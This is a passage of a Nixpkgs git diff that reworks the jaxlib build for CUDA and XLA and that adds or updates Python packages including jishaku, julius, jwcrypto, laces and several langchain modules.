cuda_nvtx.dev # nvToolsExt.h + libcublas.dev # cublas_api.h + libcufft.dev # cufft.h + libcurand.dev # curand.h + libcusolver.dev # cusolver_common.h + libcusparse.dev # cusparse.h ]; }; - cudatoolkit_cc_joined = symlinkJoin { - name = "${cudatoolkit.cc.name}-merged"; + backend_cc_joined = symlinkJoin { + name = "cuda-cc-joined"; paths = [ - backendStdenv.cc + effectiveStdenv.cc binutils.bintools # for ar, dwp, nm, objcopy, objdump, strip ]; }; @@ -137,8 +169,44 @@ let arch = # KeyError: ('Linux', 'arm64') - if stdenv.hostPlatform.isLinux && stdenv.hostPlatform.linuxArch == "arm64" then "aarch64" - else stdenv.hostPlatform.linuxArch; + if effectiveStdenv.hostPlatform.isLinux && effectiveStdenv.hostPlatform.linuxArch == "arm64" then "aarch64" + else effectiveStdenv.hostPlatform.linuxArch; + + xla = effectiveStdenv.mkDerivation { + pname = "xla-src"; + version = "unstable"; + + src = fetchFromGitHub { + owner = "openxla"; + repo = "xla"; + # Update this according to https://github.com/google/jax/blob/jaxlib-v${version}/third_party/xla/workspace.bzl. + rev = "12eee889e1f2ad41e27d7b0e970cb92d282d3ec5"; + hash = "sha256-68kjjgwYjRlcT0TVJo9BN6s+WTkdu5UMJqQcfHpBT90="; + }; + + patches = [ + # Resolves "could not convert ‘result’ from ‘SmallVector<[...],6>’ to + # ‘SmallVector<[...],4>’" compilation error. See https://github.com/google/jax/issues/19814#issuecomment-1945141259. + (fetchpatch { + url = "https://github.com/openxla/xla/commit/7a614cd346594fc7ea2fe75570c9c53a4a444f60.patch"; + hash = "sha256-RtuQTH8wzNiJcOtISLhf+gMlH1gg8hekvxEB+4wX6BM="; + }) + ]; + + dontBuild = true; + + # This is necessary for patchShebangs to know the right path to use. + nativeBuildInputs = [ python ]; + + # Main culprits we're targeting are third_party/tsl/third_party/gpus/crosstool/clang/bin/*.tpl + postPatch = '' + patchShebangs . + ''; + + installPhase = '' + cp -r . $out + ''; + }; bazel-build = buildBazelPackage rec { name = "bazel-build-${pname}-${version}"; @@ -162,7 +230,7 @@ let wheel build which - ] ++ lib.optionals stdenv.isDarwin [ + ] ++ lib.optionals effectiveStdenv.isDarwin [ cctools ]; @@ -181,15 +249,13 @@ let six snappy zlib - ] ++ lib.optionals cudaSupport [ - cudatoolkit - cudnn - ] ++ lib.optionals stdenv.isDarwin [ + ] ++ lib.optionals effectiveStdenv.isDarwin [ IOKit - ] ++ lib.optionals (!stdenv.isDarwin) [ + ] ++ lib.optionals (!effectiveStdenv.isDarwin) [ nsync ]; + # We don't want to be quite so picky regarding bazel version postPatch = '' rm -f .bazelversion ''; @@ -204,50 +270,80 @@ let removeRulesCC = false; - GCC_HOST_COMPILER_PREFIX = lib.optionalString cudaSupport "${cudatoolkit_cc_joined}/bin"; - GCC_HOST_COMPILER_PATH = lib.optionalString cudaSupport "${cudatoolkit_cc_joined}/bin/gcc"; + GCC_HOST_COMPILER_PREFIX = lib.optionalString cudaSupport "${backend_cc_joined}/bin"; + GCC_HOST_COMPILER_PATH = lib.optionalString cudaSupport "${backend_cc_joined}/bin/gcc"; # The version is automatically set to ".dev" if this variable is not set. # https://github.com/google/jax/commit/e01f2617b85c5bdffc5ffb60b3d8d8ca9519a1f3 JAXLIB_RELEASE = "1"; - preConfigure = '' - # dummy ldconfig - mkdir dummy-ldconfig - echo "#!${stdenv.shell}" > dummy-ldconfig/ldconfig - chmod +x dummy-ldconfig/ldconfig - export PATH="$PWD/dummy-ldconfig:$PATH" - cat <<CFG > ./.jax_configure.bazelrc - build --strategy=Genrule=standalone - build --repo_env PYTHON_BIN_PATH="${python}/bin/python" - build --action_env=PYENV_ROOT - build --python_path="${python}/bin/python" - build --distinct_host_configuration=false - build --define PROTOBUF_INCLUDE_PATH="${pkgs.protobuf}/include" - '' + lib.optionalString (stdenv.hostPlatform.avxSupport && stdenv.hostPlatform.isUnix) '' - build --config=avx_posix - '' + lib.optionalString mklSupport '' - build --config=mkl_open_source_only - '' + lib.optionalString cudaSupport '' - build --action_env CUDA_TOOLKIT_PATH="${cudatoolkit_joined}" - build --action_env CUDNN_INSTALL_PATH="${cudnn}" - build --action_env TF_CUDA_PATHS="${cudatoolkit_joined},${cudnn},${nccl}" - build --action_env TF_CUDA_VERSION="${lib.versions.majorMinor cudatoolkit.version}" - build --action_env TF_CUDNN_VERSION="${lib.versions.major cudnn.version}" - build:cuda --action_env TF_CUDA_COMPUTE_CAPABILITIES="${builtins.concatStringsSep "," cudaFlags.realArches}" - '' + '' - CFG - ''; + preConfigure = + # Dummy ldconfig to work around "Can't open cache file /nix/store/<hash>-glibc-2.38-44/etc/ld.so.cache" error + '' + mkdir dummy-ldconfig + echo "#!${effectiveStdenv.shell}" > dummy-ldconfig/ldconfig + chmod +x dummy-ldconfig/ldconfig + export PATH="$PWD/dummy-ldconfig:$PATH" + '' + + + # Construct .jax_configure.bazelrc. See https://github.com/google/jax/blob/b9824d7de3cb30f1df738cc42e486db3e9d915ff/build/build.py#L259-L345 + # for more info. We assume + # * `cpu = None` + # * `enable_nccl = True` + # * `target_cpu_features = "release"` + # * `rocm_amdgpu_targets = None` + # * `enable_rocm = False` + # * `build_gpu_plugin = False` + # * `use_clang = False` (Should we use `effectiveStdenv.cc.isClang` instead?) + # + # Note: We should try just running https://github.com/google/jax/blob/ceb198582b62b9e6f6bdf20ab74839b0cf1db16e/build/build.py#L259-L266 + # instead of duplicating the logic here. Perhaps we can leverage the + # `--configure_only` flag (https://github.com/google/jax/blob/ceb198582b62b9e6f6bdf20ab74839b0cf1db16e/build/build.py#L544-L548)? + '' + cat <<CFG > ./.jax_configure.bazelrc + build --strategy=Genrule=standalone + build --repo_env PYTHON_BIN_PATH="${python}/bin/python" + build --action_env=PYENV_ROOT + build --python_path="${python}/bin/python" + build --distinct_host_configuration=false + build --define PROTOBUF_INCLUDE_PATH="${pkgs.protobuf}/include" + '' + lib.optionalString cudaSupport '' + build --config=cuda + build --action_env CUDA_TOOLKIT_PATH="${cuda_build_deps_joined}" + build --action_env CUDNN_INSTALL_PATH="${cudnn}" + build --action_env TF_CUDA_PATHS="${cuda_build_deps_joined},${cudnn},${nccl}" + build --action_env TF_CUDA_VERSION="${lib.versions.majorMinor cudaVersion}" + build --action_env TF_CUDNN_VERSION="${lib.versions.major cudnn.version}" + build:cuda --action_env TF_CUDA_COMPUTE_CAPABILITIES="${builtins.concatStringsSep "," cudaFlags.realArches}" + '' + + # Note that upstream conditions this on `wheel_cpu == "x86_64"`. We just + # rely on `effectiveStdenv.hostPlatform.avxSupport` instead. So far so + # good. See https://github.com/google/jax/blob/b9824d7de3cb30f1df738cc42e486db3e9d915ff/build/build.py#L322 + # for upstream's version. + lib.optionalString (effectiveStdenv.hostPlatform.avxSupport && effectiveStdenv.hostPlatform.isUnix) '' + build --config=avx_posix + '' + lib.optionalString mklSupport '' + build --config=mkl_open_source_only + '' + + '' + CFG + ''; # Make sure Bazel knows about our configuration flags during fetching so that the # relevant dependencies can be downloaded. bazelFlags = [ "-c opt" - ] ++ lib.optionals stdenv.cc.isClang [ + # See https://bazel.build/external/advanced#overriding-repositories for + # information on --override_repository flag. + "--override_repository=xla=${xla}" + ] ++ lib.optionals effectiveStdenv.cc.isClang [ # bazel depends on the compiler frontend automatically selecting these flags based on file # extension but our clang doesn't. # https://github.com/NixOS/nixpkgs/issues/150655 - "--cxxopt=-x" "--cxxopt=c++" "--host_cxxopt=-x" "--host_cxxopt=c++" + "--cxxopt=-x" + "--cxxopt=c++" + "--host_cxxopt=-x" + "--host_cxxopt=c++" ]; # We intentionally overfetch so we can share the fetch derivation across all the different configurations @@ -257,40 +353,34 @@ let bazelTargets = [ bazelRunTarget "@mkl_dnn_v1//:mkl_dnn" ]; bazelFlags = bazelFlags ++ [ "--config=avx_posix" + "--config=mkl_open_source_only" ] ++ lib.optionals cudaSupport [ # ideally we'd add this unconditionally too, but it doesn't work on darwin # we make this conditional on `cudaSupport` instead of the system, so that the hash for both # the cuda and the non-cuda deps can be computed on linux, since a lot of contributors don't # have access to darwin machines "--config=cuda" - ] ++ [ - "--config=mkl_open_source_only" ]; sha256 = (if cudaSupport then { - x86_64-linux = "sha256-c0avcURLAYNiLASjIeu5phXX3ze5TR812SW5SCG/iwk="; + x86_64-linux = "sha256-IEKoHjCOtKZKvU/DUUjbvXldORFJuyO1R3F6CZZDXxM="; } else { - x86_64-linux = "sha256-1hrQ9ehFy3vBJxKNUzi/T0l+eZxo26Th7i5VRd/9U+0="; - aarch64-linux = "sha256-3QVYJOj1lNHgYVV9rOzVdfhq5q6GDwpcWCjKNrSZ4aU="; - }).${stdenv.system} or (throw "jaxlib: unsupported system: ${stdenv.system}"); + x86_64-linux = "sha256-IE4+Tk4llo85u3NjakvY04tPw4R1bidyecPpQ4gknR8="; + aarch64-linux = "sha256-NehnpA4m+Fynvh0S6WKy/v9ab81487NE9ahvbS70wjY="; + }).${effectiveStdenv.system} or (throw "jaxlib: unsupported system: ${effectiveStdenv.system}"); }; buildAttrs = { outputs = [ "out" ]; - TF_SYSTEM_LIBS = lib.concatStringsSep "," (tf_system_libs ++ lib.optionals (!stdenv.isDarwin) [ + TF_SYSTEM_LIBS = lib.concatStringsSep "," (tf_system_libs ++ lib.optionals (!effectiveStdenv.isDarwin) [ "nsync" # fails to build on darwin ]); - # Note: we cannot do most of this patching at `patch` phase as the deps are not available yet. - # 1) Link protobuf from nixpkgs (through TF_SYSTEM_LIBS when using gcc) to prevent crashes on - # loading multiple extensions in the same python program due to duplicate protobuf DBs. - # 2) Patch python path in the compiler driver. - preBuild = lib.optionalString cudaSupport '' - patchShebangs ../output/external/xla/third_party/gpus/crosstool/clang/bin/crosstool_wrapper_driver_is_not_gcc.tpl - '' + lib.optionalString stdenv.isDarwin '' - # Framework search paths aren't added by bintools hook - # https://github.com/NixOS/nixpkgs/pull/41914 + # Note: we cannot do most of this patching at `patch` phase as the deps + # are not available yet. Framework search paths aren't added by bintools + # hook. See https://github.com/NixOS/nixpkgs/pull/41914. + preBuild = lib.optionalString effectiveStdenv.isDarwin '' export NIX_LDFLAGS+=" -F${IOKit}/Library/Frameworks" substituteInPlace ../output/external/rules_cc/cc/private/toolchain/osx_cc_wrapper.sh.tpl \ --replace "/usr/bin/install_name_tool" "${cctools}/bin/install_name_tool" @@ -302,13 +392,13 @@ let inherit meta; }; platformTag = - if stdenv.hostPlatform.isLinux then + if effectiveStdenv.hostPlatform.isLinux then "manylinux2014_${arch}" - else if stdenv.system == "x86_64-darwin" then + else if effectiveStdenv.system == "x86_64-darwin" then "macosx_10_9_${arch}" - else if stdenv.system == "aarch64-darwin" then + else if effectiveStdenv.system == "aarch64-darwin" then "macosx_11_0_${arch}" - else throw "Unsupported target platform: ${stdenv.hostPlatform}"; + else throw "Unsupported target platform: ${effectiveStdenv.hostPlatform}"; in buildPythonPackage { @@ -319,20 +409,18 @@ buildPythonPackage { let cp = "cp${builtins.replaceStrings ["."] [""] python.pythonVersion}"; in "${bazel-build}/jaxlib-${version}-${cp}-${cp}-${platformTag}.whl"; - # Note that cudatoolkit is necessary since jaxlib looks for "ptxas" in $PATH. - # See https://github.com/NixOS/nixpkgs/pull/164176#discussion_r828801621 for - # more info. + # Note that jaxlib looks for "ptxas" in $PATH. See https://github.com/NixOS/nixpkgs/pull/164176#discussion_r828801621 + # for more info. postInstall = lib.optionalString cudaSupport '' mkdir -p $out/bin - ln -s ${cudatoolkit}/bin/ptxas $out/bin/ptxas + ln -s ${cudaPackagesGoogle.cuda_nvcc.bin}/bin/ptxas $out/bin/ptxas find $out -type f \( -name '*.so' -or -name '*.so.*' \) | while read lib; do - addOpenGLRunpath "$lib" - patchelf --set-rpath "${cudatoolkit}/lib:${cudatoolkit.lib}/lib:${cudnn}/lib:${nccl}/lib:$(patchelf --print-rpath "$lib")" "$lib" + patchelf --add-rpath "${lib.makeLibraryPath [cuda_libs_joined cudnn nccl]}" "$lib" done ''; - nativeBuildInputs = lib.optional cudaSupport addOpenGLRunpath; + nativeBuildInputs = lib.optionals cudaSupport [ autoAddOpenGLRunpathHook ]; propagatedBuildInputs = [ absl-py diff --git a/pkgs/development/python-modules/jaxtyping/default.nix b/pkgs/development/python-modules/jaxtyping/default.nix index cb73681bc2760..2b0ace32535fd 100644 --- a/pkgs/development/python-modules/jaxtyping/default.nix +++ b/pkgs/development/python-modules/jaxtyping/default.nix @@ -3,6 +3,7 @@ , pythonOlder , fetchFromGitHub , hatchling +, pythonRelaxDepsHook , numpy , typeguard , typing-extensions @@ -19,7 +20,7 @@ let self = buildPythonPackage rec { pname = "jaxtyping"; - version = "0.2.25"; + version = "0.2.27"; pyproject = true; disabled = pythonOlder "3.9"; @@ -28,16 +29,12 @@ let owner = "google"; repo = "jaxtyping"; rev = "refs/tags/v${version}"; - hash = "sha256-+JqpI5xrM7o73LG6oMix88Jr5aptmWYjJQcqUNo7icg="; + hash = "sha256-FDXNPu8HZUpT5ij6evc/LKVXAvcDDE9PmOXS7WmADpQ="; }; - postPatch = '' - substituteInPlace pyproject.toml \ - --replace "typeguard>=2.13.3,<3" "typeguard" - ''; - nativeBuildInputs = [ hatchling + pythonRelaxDepsHook ]; propagatedBuildInputs = [ @@ -46,6 +43,10 @@ let typing-extensions ]; + pythonRelaxDeps = [ + "typeguard" + ]; + nativeCheckInputs = [ cloudpickle equinox diff --git a/pkgs/development/python-modules/jishaku/default.nix b/pkgs/development/python-modules/jishaku/default.nix new file mode 100644 index 0000000000000..e758f4c691ebf --- /dev/null +++ b/pkgs/development/python-modules/jishaku/default.nix @@ -0,0 +1,66 @@ +{ + lib, + buildPythonPackage, + fetchFromGitHub, + fetchpatch, + setuptools, + discordpy, + click, + braceexpand, + import-expression, + tabulate, + pytestCheckHook, + pytest-asyncio, + youtube-dl +}: +buildPythonPackage rec { + pname = "jishaku"; + version = "2.5.2"; + pyproject = true; + + src = fetchFromGitHub { + owner = "Gorialis"; + repo = pname; + rev = "refs/tags/${version}"; + hash = "sha256-BWnuk6h80cKwRECyTuRvnYnTC78219oraeTNoqWDd1c="; + }; + + patches = [ + (fetchpatch { + # add entrypoint for install script + url = "https://github.com/Gorialis/jishaku/commit/b96cd55a1c2fd154c548f08019ccd6f7be9c7f90.patch"; + hash = "sha256-laPoupwCC1Zthib8G+c1BXqTwZK0Z6up1DKVkhFicJ0="; + }) + ]; + + nativeBuildInputs = [ setuptools ]; + + propagatedBuildInputs = [ + discordpy + click + braceexpand + tabulate + import-expression + ]; + + nativeCheckInputs = [ + pytestCheckHook + pytest-asyncio + youtube-dl + ]; + + pythonImportsCheck = [ + "jishaku" + "jishaku.repl" + "jishaku.features" + ]; + + meta = { + description = "A debugging and testing cog for discord.py bots"; + homepage = "https://jishaku.readthedocs.io/en/latest"; + changelog = "https://github.com/Gorialis/jishaku/releases/tag/${version}"; + maintainers = with lib.maintainers; [ lychee ]; + mainProgram = "jishaku"; + license = lib.licenses.mit; + }; +} diff --git a/pkgs/development/python-modules/jsbeautifier/default.nix b/pkgs/development/python-modules/jsbeautifier/default.nix index d3801bff9f028..d3fc765f4c865 100644 --- a/pkgs/development/python-modules/jsbeautifier/default.nix +++ b/pkgs/development/python-modules/jsbeautifier/default.nix @@ -9,14 +9,14 @@ buildPythonPackage rec { pname = "jsbeautifier"; - version = "1.14.11"; + version = "1.15.1"; format = "setuptools"; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-a2Mlgepg3RwTPNJaSK0Ye0uR9SZiPEsPtUQ++AUlBQU="; + hash = "sha256-69cztWBwTGAtdE6vyDnbYKHukybjCiqAxK24cYrcGyQ="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/julius/default.nix b/pkgs/development/python-modules/julius/default.nix new file mode 100644 index 0000000000000..a261b43454d62 --- /dev/null +++ b/pkgs/development/python-modules/julius/default.nix @@ -0,0 +1,36 @@ +{ lib +, buildPythonPackage +, fetchPypi +, setuptools +, wheel +, torch +}: + +buildPythonPackage rec { + pname = "julius"; + version = "0.2.7"; + pyproject = true; + + src = fetchPypi { + inherit pname version; + hash = "sha256-PA9fUwbX1gFvzJUZaydMrm8H4slZbu0xTk52QVVPuwg="; + }; + + propagatedBuildInputs = [ + torch + ]; + + nativeBuildInputs = [ + setuptools + wheel + ]; + + pythonImportsCheck = [ "julius" ]; + + meta = with lib; { + description = "Nice DSP sweets: resampling, FFT Convolutions. All with PyTorch, differentiable and with CUDA support"; + homepage = "https://pypi.org/project/julius/"; + license = licenses.mit; + maintainers = with maintainers; [ matthewcroughan ]; + }; +} diff --git a/pkgs/development/python-modules/jwcrypto/default.nix b/pkgs/development/python-modules/jwcrypto/default.nix index 7bd3126b093e7..d9d666c8e60c2 100644 --- a/pkgs/development/python-modules/jwcrypto/default.nix +++ b/pkgs/development/python-modules/jwcrypto/default.nix @@ -3,26 +3,36 @@ , fetchPypi , cryptography , deprecated +, pytestCheckHook , pythonOlder +, setuptools +, typing-extensions }: buildPythonPackage rec { pname = "jwcrypto"; - version = "1.5.1"; - format = "setuptools"; + version = "1.5.5"; + pyproject = true; - disabled = pythonOlder "3.7"; + disabled = pythonOlder "3.8"; src = fetchPypi { inherit pname version; - hash = "sha256-SLub9DN3cTYlNXnlK3X/4PmkpyHRM9AfRaC5HtX08a4="; + hash = "sha256-WefV5FidGwcXDzaOIMMusyoCORGAapcjsfQ6DYswKNY="; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ cryptography deprecated + typing-extensions ]; + nativeCheckInputs = [ pytestCheckHook ]; + pythonImportsCheck = [ "jwcrypto" ]; diff --git a/pkgs/development/python-modules/kaggle/default.nix b/pkgs/development/python-modules/kaggle/default.nix index 58098b37bf797..1de5eff46285b 100644 --- a/pkgs/development/python-modules/kaggle/default.nix +++ b/pkgs/development/python-modules/kaggle/default.nix @@ -13,12 +13,12 @@ buildPythonPackage rec { pname = "kaggle"; - version = "1.6.3"; + version = "1.6.6"; format = "setuptools"; src = fetchPypi { inherit pname version; - sha256 = "sha256-J2FOzXJhO59Ya4cjE68WOK2MChfQx4rZ1KcYeb7NcuQ="; + sha256 = "sha256-24hxXMBhivJTtq/eIYga6ejm9ksxCs+yc/0T9KV1Igc="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/karton-core/default.nix b/pkgs/development/python-modules/karton-core/default.nix index a934b793c60e7..6746fd6eb710a 100644 --- a/pkgs/development/python-modules/karton-core/default.nix +++ b/pkgs/development/python-modules/karton-core/default.nix @@ -3,15 +3,16 @@ , buildPythonPackage , fetchFromGitHub , orjson -, unittestCheckHook , pythonOlder , redis +, setuptools +, unittestCheckHook }: buildPythonPackage rec { pname = "karton-core"; - version = "5.3.2"; - format = "setuptools"; + version = "5.3.3"; + pyproject = true; disabled = pythonOlder "3.7"; @@ -19,9 +20,13 @@ buildPythonPackage rec { owner = "CERT-Polska"; repo = "karton"; rev = "refs/tags/v${version}"; - hash = "sha256-/MPD83sBo9n/dI1uXbHbjvz6upJSJrssMGmGwfQ+KE8="; + hash = "sha256-RVHhMKoQAqsddziK/vWGynSL9mxMuccNEGzoJTx8KAA="; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ boto3 orjson diff --git a/pkgs/development/python-modules/kbcstorage/default.nix b/pkgs/development/python-modules/kbcstorage/default.nix index ec41ce9f27f94..2c14e72bcf96a 100644 --- a/pkgs/development/python-modules/kbcstorage/default.nix +++ b/pkgs/development/python-modules/kbcstorage/default.nix @@ -1,36 +1,38 @@ { lib +, azure-storage-blob +, boto3 , buildPythonPackage , fetchFromGitHub +, python-dotenv , pythonOlder - -# build +, requests +, responses , setuptools , setuptools-git-versioning , setuptools-scm - -# propagates -, azure-storage-blob -, boto3 -, requests - -# tests -, responses , unittestCheckHook +, urllib3 }: + buildPythonPackage rec { pname = "sapi-python-client"; - version = "0.7.1"; - format = "pyproject"; + version = "0.7.2"; + pyproject = true; disabled = pythonOlder "3.7"; src = fetchFromGitHub { owner = "keboola"; - repo = pname; + repo = "sapi-python-client"; rev = "refs/tags/${version}"; - hash = "sha256-74sChw6eMkBtfHV6hiaaLNOr/J0Sa73LB93Z8muLaiI="; + hash = "sha256-uZo2kEq7zIMGRlhX36kZyihQPZegw5XgVzgVQQOmpc4="; }; + postPatch = '' + substituteInPlace pyproject.toml \ + --replace-fail "urllib3<2.0.0" "urllib3" + ''; + nativeBuildInputs = [ setuptools setuptools-git-versioning @@ -40,18 +42,16 @@ buildPythonPackage rec { propagatedBuildInputs = [ azure-storage-blob boto3 + python-dotenv requests + responses + urllib3 ]; # Requires API token and an active Keboola bucket # ValueError: Root URL is required. doCheck = false; - nativeCheckInputs = [ - unittestCheckHook - responses - ]; - pythonImportsCheck = [ "kbcstorage" "kbcstorage.buckets" diff --git a/pkgs/development/python-modules/keyrings-cryptfile/default.nix b/pkgs/development/python-modules/keyrings-cryptfile/default.nix index f15e65a32b570..6265ef7bb7562 100644 --- a/pkgs/development/python-modules/keyrings-cryptfile/default.nix +++ b/pkgs/development/python-modules/keyrings-cryptfile/default.nix @@ -50,6 +50,6 @@ buildPythonPackage rec { homepage = "https://github.com/frispete/keyrings.cryptfile"; changelog = "https://github.com/frispete/keyrings.cryptfile/blob/v${version}/CHANGES.md"; license = licenses.mit; - maintainers = [ maintainers.lourkeur ]; + maintainers = [ maintainers.bbjubjub ]; }; } diff --git a/pkgs/development/python-modules/krakenex/default.nix b/pkgs/development/python-modules/krakenex/default.nix index 04b114194f68b..59b0984e956bb 100644 --- a/pkgs/development/python-modules/krakenex/default.nix +++ b/pkgs/development/python-modules/krakenex/default.nix @@ -1,21 +1,26 @@ { lib , buildPythonPackage , fetchFromGitHub +, setuptools , requests }: buildPythonPackage rec { pname = "krakenex"; - version = "2.1.0"; - format = "setuptools"; + version = "2.2.1"; + pyproject = true; src = fetchFromGitHub { owner = "veox"; repo = "python3-krakenex"; rev = "v${version}"; - sha256 = "0j8qmpk6lm57h80i5njhgvm1qnxllm18dlqxfd4kyxdb93si4z2p"; + hash = "sha256-aWALkM79VOm2/EQdp2rD1sm0NxhLKZOXzAs8m+t7M0s="; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ requests ]; @@ -26,6 +31,7 @@ buildPythonPackage rec { pythonImportsCheck = [ "krakenex" ]; meta = with lib; { + changelog = "https://github.com/veox/python3-krakenex/blob/${src.rev}/CHANGELOG.rst"; description = "Kraken.com cryptocurrency exchange API"; homepage = "https://github.com/veox/python3-krakenex"; license = licenses.lgpl3Plus; diff --git a/pkgs/development/python-modules/labelbox/default.nix b/pkgs/development/python-modules/labelbox/default.nix index 76c51b77a92db..25314acd50267 100644 --- a/pkgs/development/python-modules/labelbox/default.nix +++ b/pkgs/development/python-modules/labelbox/default.nix @@ -25,7 +25,7 @@ buildPythonPackage rec { pname = "labelbox"; - version = "3.58.1"; + version = "3.65"; pyproject = true; disabled = pythonOlder "3.7"; @@ -33,8 +33,8 @@ buildPythonPackage rec { src = fetchFromGitHub { owner = "Labelbox"; repo = "labelbox-python"; - rev = "refs/tags/v.${version}"; - hash = "sha256-H6fn+TpfYbu/warhr9XcQjfxSThIjBp9XwelA5ZvTBE="; + rev = "refs/tags/v${version}"; + hash = "sha256-i0hbVxGrb2C/bMcVPNzaPBxhKm+5r3o1GlToZvIS35k="; }; postPatch = '' @@ -99,7 +99,5 @@ buildPythonPackage rec { changelog = "https://github.com/Labelbox/labelbox-python/blob/v.${version}/CHANGELOG.md"; license = licenses.asl20; maintainers = with maintainers; [ rakesh4g ]; - # https://github.com/Labelbox/labelbox-python/issues/1246 - broken = versionAtLeast pydantic.version "2"; }; } diff --git a/pkgs/development/python-modules/laces/default.nix b/pkgs/development/python-modules/laces/default.nix new file mode 100644 index 0000000000000..d29396658150b --- /dev/null +++ b/pkgs/development/python-modules/laces/default.nix @@ -0,0 +1,38 @@ +{ lib +, buildPythonPackage +, django +, fetchFromGitHub +, flit-core +, python3 +}: + +buildPythonPackage rec { + pname = "laces"; + version = "0.1.1"; + pyproject = true; + + src = fetchFromGitHub { + owner = "tbrlpld"; + repo = "laces"; + rev = "v${version}"; + hash = "sha256-N3UUJomlihdM+6w9jmn9t10Q2meIqEOjW/rf3ZLrD78="; + }; + + nativeBuildInputs = [ + flit-core + ]; + + propagatedBuildInputs = [ + django + ]; + + pythonImportsCheck = [ "laces" ]; + + meta = with lib; { + description = "Django components that know how to render themselves"; + homepage = "https://github.com/tbrlpld/laces"; + changelog = "https://github.com/tbrlpld/laces/blob/${src.rev}/CHANGELOG.md"; + license = licenses.bsd3; + maintainers = with maintainers; [ sephi ]; + }; +} diff --git a/pkgs/development/python-modules/langchain-community/default.nix b/pkgs/development/python-modules/langchain-community/default.nix index 0d0046b216ee1..6e7d6423384cb 100644 --- a/pkgs/development/python-modules/langchain-community/default.nix +++ b/pkgs/development/python-modules/langchain-community/default.nix @@ -17,7 +17,7 @@ buildPythonPackage rec { pname = "langchain-community"; - version = "0.0.16"; + version = "0.0.26"; pyproject = true; disabled = pythonOlder "3.8"; @@ -25,7 +25,7 @@ buildPythonPackage rec { src = fetchPypi { pname = "langchain_community"; inherit version; - hash = "sha256-wGUSqTAToG+6dnnNWhJU/4uSfN3S0fvgzERL97vfC4w="; + hash = "sha256-K3W+HVDEWqMap4WYDnuFN0gUeJPSEe9nljJKYuqfrCg="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/langchain-core/default.nix b/pkgs/development/python-modules/langchain-core/default.nix index 8e8309874f1ec..6e7b52a16b702 100644 --- a/pkgs/development/python-modules/langchain-core/default.nix +++ b/pkgs/development/python-modules/langchain-core/default.nix @@ -8,6 +8,7 @@ , langsmith , packaging , pydantic +, pythonRelaxDepsHook , pyyaml , requests , tenacity @@ -15,7 +16,7 @@ buildPythonPackage rec { pname = "langchain-core"; - version = "0.1.16"; + version = "0.1.30"; pyproject = true; disabled = pythonOlder "3.8"; @@ -23,11 +24,16 @@ buildPythonPackage rec { src = fetchPypi { pname = "langchain_core"; inherit version; - hash = "sha256-jLVG7tMYAJ7hqKOB0QgHTt3wOVrmHrJD2wDXbh4mXok="; + hash = "sha256-4ToBblXn8IL/Pu7aLQy1BbiaiDDjojwdE00KideHGJQ="; }; + pythonRelaxDeps = [ + "langsmith" + ]; + nativeBuildInputs = [ poetry-core + pythonRelaxDepsHook ]; propagatedBuildInputs = [ @@ -41,7 +47,9 @@ buildPythonPackage rec { tenacity ]; - pythonImportsCheck = [ "langchain_core" ]; + pythonImportsCheck = [ + "langchain_core" + ]; # PyPI source does not have tests doCheck = false; diff --git a/pkgs/development/python-modules/langchain-text-splitters/default.nix b/pkgs/development/python-modules/langchain-text-splitters/default.nix new file mode 100644 index 0000000000000..81cb942e51553 --- /dev/null +++ b/pkgs/development/python-modules/langchain-text-splitters/default.nix @@ -0,0 +1,45 @@ +{ lib +, buildPythonPackage +, fetchPypi +, poetry-core +, langchain-core +, lxml +, pythonOlder +}: + +buildPythonPackage rec { + pname = "langchain-text-splitters"; + version = "0.0.1"; + pyproject = true; + + disabled = pythonOlder "3.9"; + + src = fetchPypi { + pname = "langchain_text_splitters"; + inherit version; + hash = "sha256-rEWfqYeZ9RF61UJakzCyGWEyHjC8GaKi+fdh3a3WKqE="; + }; + + nativeBuildInputs = [ + poetry-core + ]; + + propagatedBuildInputs = [ + langchain-core + lxml + ]; + + # PyPI source does not have tests + doCheck = false; + + pythonImportsCheck = [ + "langchain_text_splitters" + ]; + + meta = with lib; { + description = "Build context-aware reasoning applications"; + homepage = "https://github.com/langchain-ai/langchain/tree/master/libs/text-splitters"; + license = licenses.mit; + maintainers = with maintainers; [ fab ]; + }; +} diff --git a/pkgs/development/python-modules/langchain/default.nix b/pkgs/development/python-modules/langchain/default.nix index 18936f7a9ca5f..a0153b28ef7ba 100644 --- a/pkgs/development/python-modules/langchain/default.nix +++ b/pkgs/development/python-modules/langchain/default.nix @@ -3,7 +3,6 @@ , buildPythonPackage , fetchFromGitHub , pythonOlder -, pythonRelaxDepsHook , poetry-core , aiohttp , async-timeout @@ -12,6 +11,7 @@ , langsmith , langchain-core , langchain-community +, langchain-text-splitters , numpy , pydantic , pyyaml @@ -52,7 +52,7 @@ buildPythonPackage rec { pname = "langchain"; - version = "0.1.1"; + version = "0.1.11"; pyproject = true; disabled = pythonOlder "3.8"; @@ -61,14 +61,13 @@ buildPythonPackage rec { owner = "langchain-ai"; repo = "langchain"; rev = "refs/tags/v${version}"; - hash = "sha256-cQz4u6FeVZLNbix4pyc6ulfj+nb/tARMJniusy7Q46A="; + hash = "sha256-I7H8W85WJCt8Dkep5UvFRVuhJS8uAeg0xF9mNPZwm2g="; }; sourceRoot = "${src.name}/libs/langchain"; nativeBuildInputs = [ poetry-core - pythonRelaxDepsHook ]; buildInputs = [ @@ -76,18 +75,19 @@ buildPythonPackage rec { ]; propagatedBuildInputs = [ - langchain-core + aiohttp + dataclasses-json + jsonpatch langchain-community + langchain-core + langchain-text-splitters + langsmith + numpy pydantic - sqlalchemy - requests pyyaml - numpy - aiohttp + requests + sqlalchemy tenacity - jsonpatch - dataclasses-json - langsmith ] ++ lib.optionals (pythonOlder "3.11") [ async-timeout ]; diff --git a/pkgs/development/python-modules/langsmith/default.nix b/pkgs/development/python-modules/langsmith/default.nix index 21ee2b4ac871a..f74f7d4bd4315 100644 --- a/pkgs/development/python-modules/langsmith/default.nix +++ b/pkgs/development/python-modules/langsmith/default.nix @@ -1,18 +1,21 @@ { lib +, attr , buildPythonPackage , fetchFromGitHub , freezegun +, orjson , poetry-core , pydantic , pytest-asyncio , pytestCheckHook , pythonOlder +, pythonRelaxDepsHook , requests }: buildPythonPackage rec { pname = "langsmith"; - 